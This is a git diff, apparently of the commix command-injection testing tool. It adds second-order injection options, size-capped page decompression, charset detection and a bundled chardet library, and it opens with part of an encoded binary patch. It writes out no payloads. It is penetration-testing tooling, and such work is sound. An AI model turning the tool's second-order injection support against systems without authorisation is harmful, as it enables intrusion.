zZ%v#CR=EMSY>i?2&xSBmEuCU=giQDT)b6X2B+np^4Q;aKGs`rmqy$SB{}bzWb7b^$ z2l9U6bo?<)<&var74mFcCatN3<Tbo_MeYbav|x{oOo~GFky7c0A%VyKRu`Y7R>*0Q zJj-<M_R1T#SFYV&`5pee{?hH0E4Nqv<IenV?#%!E&ios9=C9nDf9uZtYj@^<^_TbF z`tSezrAs-#eir^3)VSD^1}`|u@Fw}~e<~p`3G`^xMlvohX}Ha0l|~U97oKoI0hfik zs7atJ5{1OGF8f4LpF8X_i(T^U6%)RR0)j7V67-tJuzszNcV6>JmrRh+WevM{<$@;s z+Q7}(OltOJ$uO0mn2l#eY1(gVGVdixT9-Cip#0f2{c2GIWS8~GH4XW_ZcgX+IY-ZI zKU~!8-7pJYo_5JZA>TF;BG>PH)?0ewRc%$c`<p@GQnw4vq6rayV9W@UmX;az_>b&P zVhaMvR?KZQ|ArJ+yuZv_^^3Jw2l8~u@ynl{ZkuDhGK=V?RC^ju8nc^$RUpTP%Cm<n zwb-S>yP9&o<~BP{Kk2O^_1ZOyzeM#JZ9^p+)M$6J#Vb`RFYF$xR1S_GOkR9;{QKWa zc9n;daMPt8nP|f!R9W!2!qY@sH_VZMhAITBr=H?H8GjFr{twdVdF_}Un9AG#B~fF^ zj+XAyAN6K`)(1rZqVNjRuSxEbHQN7JP6Vo&yJQwH&@+_ukhv3IeTYJDChN<jqlJ0o zI?i%cfBpmrmosM|<avsq=ew<XiMs&aygLgUrT_Y{%55LdgZAj~2<M?2^XSKB<4;3- zUxLg?xdZjsgAeBU)9O8}ARj+TEqD3PeT)2cwVB%tqut!wHAnM|6>E(*I>~`980qan z!?n0Vyp4?Ixki{Ew2}Yl@jC(U<TcI4q}<C7m_5>9nsTlHpW+o>WqwFR_;BuNs6CS- z&mZ{Sp|PYm(<_ZfL<ZP>S)a-nevjT5ft}g-Dr;g;gfppa`+RjU4u7)l+*RrY7c{2r z_z&ceN{)pLvvI^`K$@k6Tt&U-V3L(NZ{+~NUvu@xO#OJ89kXyHx1Aj<6CPd$Z`OvT z6KD))*P5)?k-pCJbiwY{tP0ksuja27S+5m6lvzV8<z5aZfM!X)rp$UrsFCaC+|5dE zvradU<-ev>h>Ayx9VawQo+uCRO2)(0-vt~uxMy{P?kOhuD_G9UQ`mDfw+(v({Yn11 zut9qj8~H{|ipb!04jdx;{yaCT`Q{16lXJhIxm3=!bY?Eg%#X|nw>WOlg@p~8vzn); z@x3-^wi=-`Uo{#^v=?JAHFsWi{T}(aA}C6ihmPn=(v@q3Xmr<6tl5g1tIk@#tZ1(* z23EEbV%%OftT1fdzhi()4w1KJ2!7V&nmOh?Z(J@D#T4VVmK3Y?dfq-`G297VQj({e zg#20wt$V?a-SeqUo44G1-~A6fSon0`*3W!)+vh(2g@?ZQr7v&)%2&Vk@Ylcb&E%2d zjz@QXtAAkd+m8*E%9Y_=kMDlsJ5PRh&)$6_)zR8h|L@QLo80p$kWC<)LAHS03vwUG z{U8s3JP1+%`7}r$$X1ZgfP5BY8_4HCJ`eH*kcU9N2=XP6FN16c`3lHaLB0m^Fv!<I zz5()0kObrrkRr$qkVipwf_w|4A7lVz5ain+kAVz<lt9WL6_8<&T_BHx>;`!P<U1fw zf_xWb4+!kK_U;220jYwFg495s0{L6-i)`5f|7Smbpl@4W-$Q-dwm;n0m-Ic_H{>Kq zwhzFE!_eURfB18IAAH@n2O3=e4}aqKF!=87zfGI(?!Uikav0g<B=bQm{Qc$)1;712 z@77KKi`?@-DBC`vY`;rM?otLmp$vzzXXF0;>typ?%9gv7dq1Jv7s~zr15ir=0u%!j z000080QUs>T%y;mX{+P_0HEgq02KfL00000000000Du7i0001Da&L5OX)R=FV{~b6 hZeenHE@EkJP)h{{000000RRC2LjV8(-sAuP007(HMQ8v3 literal 0 HcmV?d00001 diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5992f672a6..7af25a1b6c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Added: Bundled the "chardet" library and a built-in Brotli decoder to handle pages regardless of their character encoding or compression format. +* Added: New options `--second-url` and `--second-req` for reading the result of an injection from the page it shows up on. * Added: New options `--csrf-token`, `--csrf-url`, `--csrf-method`, `--csrf-data` and `--csrf-retries` for testing targets that check an anti-CSRF token. * Added: New options `--proxy-file`, `--proxy-freq` and `--proxy-cred` for using a list of proxies and the credentials they ask for. * Added: Support for SOCKS4/5 proxies given with the `--proxy` option. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index fc82146369..3a10ca70f2 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -15,6 +15,7 @@ import io import re +import codecs import os import sys import json @@ -918,6 +919,202 @@ def normalize_newlines(payload): """ Process HTTP response content: handle decompression and encode/decode page content. """ +def decompress_page(body, content_encoding): + """ + A page as it was written, from the encoding it arrived in. + + Every decoder is stopped at the size a page is allowed to reach: a few hundred bytes can name + gigabytes, and reading that whole is how a target empties the memory of the machine testing it. + """ + content_encoding = (content_encoding or "").lower() + if content_encoding not in ("gzip", "x-gzip", "deflate", "br", "zstd"): + return body + cap = settings.MAX_PAGE_SIZE + original = body + try: + if content_encoding == "deflate": + # Raw deflate, read in bounded steps rather than expanded whole and measured afterwards. + decompressor = zlib.decompressobj(-15) + body = decompressor.decompress(body, cap + 1) + if len(body) > cap: + raise ValueError("size too large") + body += decompressor.flush() + if len(body) > cap: + raise ValueError("size too large") + elif content_encoding == "br": + if settings.BROTLI_DECODER is None: + raise ValueError("no brotli decoder available") + body = settings.BROTLI_DECODER.decompress(body) + if len(body) > cap: + raise ValueError("size too large") + elif content_encoding == "zstd": + if settings.ZSTD_DECODER is None: + raise ValueError("no zstandard decoder available") + decompressor = settings.ZSTD_DECODER.ZstdDecompressor(options={settings.ZSTD_DECODER.DecompressionParameter.window_log_max: 23}) + body = decompressor.decompress(body, max_length=cap + 1) + if len(body) > cap: + raise ValueError("size too large") + if not decompressor.eof: + raise ValueError("incomplete stream") + else: + with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(body), mode="rb")) as gz: + body = gz.read(cap + 1) + if len(body) > cap: + raise ValueError("size too large") + except Exception: + # A page that is not what it says it is: said once, and asked for uncompressed from here on, + # rather than arriving in the same state and failing the same way for the rest of the run. + if settings.PAGE_COMPRESSION: + settings.PAGE_COMPRESSION = False + warn_msg = "Page decompression failed, turning off page compression." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Handed back as it arrived rather than half-expanded: what was read of it says nothing about + # the page, and the next request asks for one that needs no expanding at all. + return original + return body + +def normalize_charset(charset, warn=True): + """ + The name a page declares itself in, as a name the platform actually has. + + What a page says about its own encoding is written by hand as often as not: it arrives with the + media type still attached, misspelled, aliased, or naming nothing at all. Anything that cannot be + decoded with in the end is refused, rather than used to read every page of the run wrongly. + """ + if not charset: + return None + charset = str(charset).lower() + for delimiter in (";", ",", "("): + if delimiter in charset: + charset = charset[:charset.find(delimiter)].strip() + charset = charset.replace(""", "") + + # Transpositions of a number that is nearly always '8859', and one that is nearly always '2312'. + for typo, correction in (("8858", "8859"), ("8559", "8859"), ("8895", "8859"), ("5889", "8859"), ("5589", "8859"), ("2313", "2312")): + if typo in charset: + charset = charset.replace(typo, correction) + break + else: + if charset.startswith("x-"): + charset = charset[len("x-"):] + elif "windows-cp" in charset: + charset = charset.replace("windows-cp", "windows") + + if charset.startswith("8859"): + charset = "iso-" + charset + elif charset.startswith("cp-"): + charset = "cp" + charset[3:] + elif charset.startswith("euc-"): + charset = "euc_" + charset[4:] + elif charset.startswith("windows") and not charset.startswith("windows-"): + charset = "windows-" + charset[7:] + elif charset.find("iso-88") > 0: + charset = charset[charset.find("iso-88"):] + elif charset.startswith("is0-"): + charset = "iso" + charset[4:] + elif charset.find("ascii") > 0: + charset = "ascii" + elif charset.find("utf8") > 0: + charset = "utf8" + elif charset.find("utf-8") > 0: + charset = "utf-8" + + if charset in settings.CHARSET_ALIASES: + charset = settings.CHARSET_ALIASES[charset] + elif charset in ("null", "{charset}", "charset", "*") or not re.search(r"\w", charset): + return None + + try: + codecs.lookup(charset) + except (LookupError, ValueError): + # A charset carrying a NUL is not a charset - and it is the target that chose it. + return None + try: + str(b"commix", charset) + except (UnicodeDecodeError, LookupError): + if warn and settings.VERBOSITY_LEVEL != 0: + warn_msg = "Invalid web page charset '" + charset + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + return charset + +def heuristic_charset(page): + """ + What a page looks like it is written in, where it says nothing about itself. + """ + if settings.CHARSET_DETECTOR is None or not page: + return None + try: + return normalize_charset(settings.CHARSET_DETECTOR(page[:settings.HEURISTIC_PAGE_SIZE_THRESHOLD]).get("encoding"), warn=False) + except Exception: + return None + +def decode_page_body(body, response=None, percent_decode=True): + """ + A page already read from its response, as text: decompressed if it was compressed, and read in + the encoding it declares. + + Used where the body is in hand rather than the response - a page kept for later, or one read once + and handed on to whoever reads it next. + """ + content_encoding = content_type = "" + if response is not None: + try: + content_encoding = response.info().get("Content-Encoding") or "" + content_type = (response.info().get(settings.CONTENT_TYPE) or "").lower() + except Exception: + content_encoding = content_type = "" + body = decompress_page(body, content_encoding) + + """ + What the page is written in, from what it says about itself. + + A page declares its charset twice - in the header it was served with and in its own head - and + the two disagree often enough that agreeing is what makes either believable. One on its own is + taken where the other is silent; two that differ are both discarded, and what the page looks like + is asked for instead. + """ + if menu.options.codec: + page_encoding = settings.DEFAULT_CODEC + else: + http_charset = meta_charset = None + if "charset=" in content_type: + http_charset = normalize_charset(content_type.split("charset=")[-1]) + if isinstance(body, bytes): + declared = re.search(settings.META_CHARSET_REGEX, body.decode(settings.DEFAULT_CODEC, errors="replace")) + meta_charset = normalize_charset(declared.group("result")) if declared else None + if (any((http_charset, meta_charset)) and not all((http_charset, meta_charset))) or (http_charset == meta_charset and all((http_charset, meta_charset))): + page_encoding = http_charset or meta_charset + else: + page_encoding = None + + """ + A page is written for a browser, which reads an entity and a per-cent escape as the character + each stands for - so what the target wrote is not what arrived, and the marker a technique looks + for would be searched for in text the target never sent. + """ + if isinstance(body, bytes) and "text/" in content_type: + if b"&#" in body: + body = re.sub(b"(?i)&#x([0-9a-f]{1,2});", lambda _: codecs.decode(_.group(1) if len(_.group(1)) == 2 else b"0" + _.group(1), "hex"), body) + body = re.sub(b"&#(\\d{1,3});", lambda _: bytes(bytearray([int(_.group(1))])) if int(_.group(1)) < 256 else _.group(0), body) + if percent_decode and b"%" in body: + body = re.sub(b"(?i)%([0-9a-f]{2})", lambda _: codecs.decode(_.group(1), "hex"), body) + body = re.sub(b"&([^;]+);", lambda _: bytes(bytearray([settings.HTML_ENTITIES[_.group(1).decode("ascii", errors="replace")]])) if settings.HTML_ENTITIES.get(_.group(1).decode("ascii", errors="replace"), 256) < 256 else _.group(0), body) + page_encoding = page_encoding or heuristic_charset(body) + if (page_encoding or "").lower() == "utf-8-sig": + page_encoding = "utf-8" + if body.startswith(b"\xef\xbb\xbf"): + body = body[3:] + + if page_encoding: + settings.DEFAULT_PAGE_ENCODING = page_encoding + for codec in (page_encoding or settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC, settings.DEFAULT_CODEC): + try: + return body.decode(codec, errors="replace") + except (UnicodeDecodeError, LookupError, TypeError): + continue + return "" + def process_page_content(response, action): try: page = response.read() @@ -931,21 +1128,15 @@ def process_page_content(response, action): response.close() except Exception: pass - if content_encoding in ("gzip", "x-gzip", "deflate"): - try: - if content_encoding == 'deflate': - # zlib decompression; -15 for raw deflate - page = zlib.decompress(page, -15) - else: # gzip / x-gzip - with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(page), mode='rb')) as gz: - page = gz.read() - except (zlib.error, OSError, EOFError): - # Only catch relevant decompression errors - warn_msg = "Page decompression failed, turning off page compression." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Read as text the one way every page is read: decompressed, in the charset the page and its + # header agree on, with what a browser would resolve already resolved. + if action != "encode": + return decode_page_body(page, response, percent_decode=not settings.CRAWLING) + + page = decompress_page(page, content_encoding) - # Encode or decode page content, in what the page said it is written in - unless the user named - # a codec of their own with '--codec', which outranks whatever the page declares. + # Encode page content, in what the page said it is written in - unless the user named a codec of + # their own with '--codec', which outranks whatever the page declares. chosen = settings.DEFAULT_CODEC if menu.options.codec else (settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC) error_occurred = False err_msg = "" diff --git a/src/core/options.py b/src/core/options.py index 1186f9c280..aac7c7434f 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -150,6 +150,16 @@ def validate(): raise SystemExit(settings.EXIT_FAILURE) checks.set_anticsrf_token(menu.options.csrf_token) + if menu.options.second_url and menu.options.second_req: + err_msg = "The option '--second-url' is incompatible with the option '--second-req'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.second_req: + info_msg = "Parsing the second-order HTTP request from '" + menu.options.second_req + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.SECOND_ORDER_REQUEST = request.parse_single_request(menu.options.second_req, "second-order") + if menu.options.retry_on: try: re.compile(menu.options.retry_on) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 4da60f9484..bdc64c0064 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -193,6 +193,18 @@ def banner(): default=None, help="Regexp to exclude pages from crawling (e.g. 'logout').") +target.add_option("--second-url", + action="store", + dest="second_url", + default=None, + help="Resulting page URL searched for second-order response.") + +target.add_option("--second-req", + action="store", + dest="second_req", + default=None, + help="Load second-order HTTP request from file.") + target.add_option("--scope", dest="scope", default=None, diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 6229b2475a..1af11edb6d 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -311,6 +311,12 @@ def parse_requests(request_file): holding several says nothing about which. """ def parse_safe_request(request_file): + return parse_single_request(request_file, "safe") + +""" +The one request a file holds, for an option that replays it rather than testing it. +""" +def parse_single_request(request_file, label): if not os.path.exists(request_file): err_msg = "It seems the '" + request_file + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -340,7 +346,7 @@ def parse_safe_request(request_file): "headers" : headers } - err_msg = "Invalid format of the safe request file '" + request_file + "'." + err_msg = "Invalid format of the " + label + " request file '" + request_file + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py index e71a2ebf60..8868ce1a8a 100644 --- a/src/core/requests/anticsrf.py +++ b/src/core/requests/anticsrf.py @@ -17,6 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.core.parse import cmdline as menu from src.utils import settings +from src.core.controller import checks """ Anti-CSRF token handling. @@ -80,7 +81,9 @@ def _fetch_token_page(url, http_request_method): if response is None or isinstance(response, bool): return "", None, None try: - page = response.read().decode(settings.DEFAULT_CODEC, errors="replace") + # Decompressed and decoded the way every other page is: a gzip-encoded page read raw holds no + # token that any expression could find. + page = checks.process_page_content(response, action="decode") except Exception: page = "" code = getattr(response, "code", None) or getattr(response, "status", None) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 05e9357512..add31d0131 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -638,7 +638,7 @@ def do_check(request): # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): - request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE if settings.PAGE_COMPRESSION else settings.HTTP_ACCEPT_ENCODING_IDENTITY) # Appends a fake HTTP header 'X-Forwarded-For' (and similar) if settings.TAMPER_SCRIPTS["xforwardedfor"]: @@ -699,7 +699,7 @@ def do_check(request): if settings.CONTENT_TYPE not in str(extra_headers): request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) if settings.ACCEPT_ENCODING not in str(extra_headers): - request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE if settings.PAGE_COMPRESSION else settings.HTTP_ACCEPT_ENCODING_IDENTITY) for extra_header in extra_headers: try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b198683b8f..e6053da651 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -60,7 +60,7 @@ def _build_request(): raw_body = response.read() first_response_content = raw_body.strip() response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) - settings.ORIGINAL_PAGE = raw_body.decode(settings.DEFAULT_CODEC, errors="replace") + settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, response) else: first_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) try: @@ -590,8 +590,11 @@ def retry_on_undesired_content(request, response): body = response.read() except Exception: return response - content = body.decode(settings.DEFAULT_CODEC, errors="replace") - if not re.search(menu.options.retry_on, content, re.I) or attempts >= settings.MAX_RETRIES: + content = checks.decode_page_body(body, response) + # Bounded by the retries the run was given, not by the budget the connection layer keeps + # raising as requests are spent: a page that always asks to be retried would otherwise be + # asked again for as long as the run lasts. + if not re.search(menu.options.retry_on, content, re.I) or attempts >= menu.options.retries: return ReReadableResponse(response, body) attempts += 1 warn_msg = "Forced retry of the request, because of undesired page content." @@ -620,6 +623,49 @@ def get_request_response(request): return response +""" +The page a second-order injection shows up on, which is not the page the payload was sent to. + +A target that stores what it is given and runs it somewhere else - a queue, a log viewer, an admin +page - answers the injected request with nothing at all. So that answer is set aside and the page +named by '--second-url'/'--second-req' is fetched in its place, and read for the result instead. +""" +def second_order_response(payload=None): + if settings.FETCHING_SECOND_ORDER: + return None + if not menu.options.second_url and not settings.SECOND_ORDER_REQUEST: + return None + # Looking for a protection in the way is not an injection, so its answer is not looked for + # anywhere else either. + if payload and settings.WAF_CHECK_PAYLOAD in str(payload): + return None + + settings.FETCHING_SECOND_ORDER = True + try: + # The stored request may say where the payload goes, the way the target's own parameters do. + def _with_payload(value): + if value and settings.INJECT_TAG in value: + return checks.process_injectable_value(checks.encode_payload(payload or ""), value) + return value + + if menu.options.second_url: + request = _urllib.request.Request(_with_payload(menu.options.second_url), method=settings.HTTPMETHOD.GET) + headers.do_check(request) + else: + stored = settings.SECOND_ORDER_REQUEST + data = _with_payload(stored["data"]) + request = _urllib.request.Request(_with_payload(stored["url"]), data.encode(settings.DEFAULT_CODEC) if data else None, method=stored["method"] or settings.HTTPMETHOD.GET) + for header_name, header_value in stored["headers"]: + request.add_header(header_name, _with_payload(header_value)) + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Reading the result from '" + request.get_full_url() + "', where the output of a second-order injection shows up." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return get_request_response(request) + except Exception: + return None + finally: + settings.FETCHING_SECOND_ORDER = False + """ Check if target host is vulnerable. """ @@ -675,6 +721,11 @@ def encoded_for_url(value): headers.do_check(request) response = get_request_response(request) + # Sent before the clock is stopped: a delay asked for by the payload is paid on the request + # above, and what is read below is the page it shows up on. + second_order = second_order_response(payload) + if second_order is not None: + response = second_order if settings.TIME_RELATED_ATTACK: failed_attempts = 0 @@ -717,6 +768,9 @@ def inject_header(url, payload, http_request_method): response = inject_header(url, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) + second_order = second_order_response(payload) + if second_order is not None: + response = second_order if settings.TIME_RELATED_ATTACK : failed_attempts = 0 diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index 584f5fccc8..61341e9357 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -88,6 +88,12 @@ def retry_delay_seconds(): # Count one request against this thread's own tally. def note_request_sent(): + # A request the run makes around the measured one - the page a second-order result shows up on, + # the visit that keeps a session alive, the fetch of an anti-CSRF token - is part of that + # measurement rather than a second attempt at it. Counting one would read as a retry, and every + # timing taken with those options in play would be thrown away as untrustworthy. + if any((settings.FETCHING_SECOND_ORDER, settings.SENDING_SAFE_REQUEST, settings.FETCHING_CSRF_TOKEN)): + return _thread_state.sent = getattr(_thread_state, "sent", 0) + 1 # How many requests this thread has sent. diff --git a/src/thirdparty/chardet/__init__.py b/src/thirdparty/chardet/__init__.py new file mode 100644 index 0000000000..80ad2546d7 --- /dev/null +++ b/src/thirdparty/chardet/__init__.py @@ -0,0 +1,83 @@ +######################## BEGIN LICENSE BLOCK ######################## +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + + +from .universaldetector import UniversalDetector +from .enums import InputState +from .version import __version__, VERSION + + +__all__ = ['UniversalDetector', 'detect', 'detect_all', '__version__', 'VERSION'] + + +def detect(byte_str): + """ + Detect the encoding of the given byte string. + + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + detector = UniversalDetector() + detector.feed(byte_str) + return detector.close() + + +def detect_all(byte_str): + """ + Detect all the possible encodings of the given byte string. + + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + + detector = UniversalDetector() + detector.feed(byte_str) + detector.close() + + if detector._input_state == InputState.HIGH_BYTE: + results = [] + for prober in detector._charset_probers: + if prober.get_confidence() > detector.MINIMUM_THRESHOLD: + charset_name = prober.charset_name + lower_charset_name = prober.charset_name.lower() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if detector._has_win_bytes: + charset_name = detector.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + results.append({ + 'encoding': charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language, + }) + if len(results) > 0: + return sorted(results, key=lambda result: -result['confidence']) + + return [detector.result] diff --git a/src/thirdparty/chardet/big5freq.py b/src/thirdparty/chardet/big5freq.py new file mode 100644 index 0000000000..38f32517aa --- /dev/null +++ b/src/thirdparty/chardet/big5freq.py @@ -0,0 +1,386 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Big5 frequency table +# by Taiwan's Mandarin Promotion Council +# <http://www.edu.tw:81/mandr/> +# +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +#Char to FreqOrder table +BIG5_TABLE_SIZE = 5376 + +BIG5_CHAR_TO_FREQ_ORDER = ( + 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 +3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 +1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 + 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 +3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 +4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 +5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 + 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 + 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 + 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 +2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 +1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 +3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 + 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 +3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 +2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 + 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 +3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 +1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 +5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 + 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 +5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 +1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 + 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 + 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 +3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 +3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 + 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 +2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 +2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 + 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 + 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 +3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 +1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 +1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 +1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 +2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 + 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 +4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 +1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 +5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 +2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 + 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 + 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 + 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 + 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 +5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 + 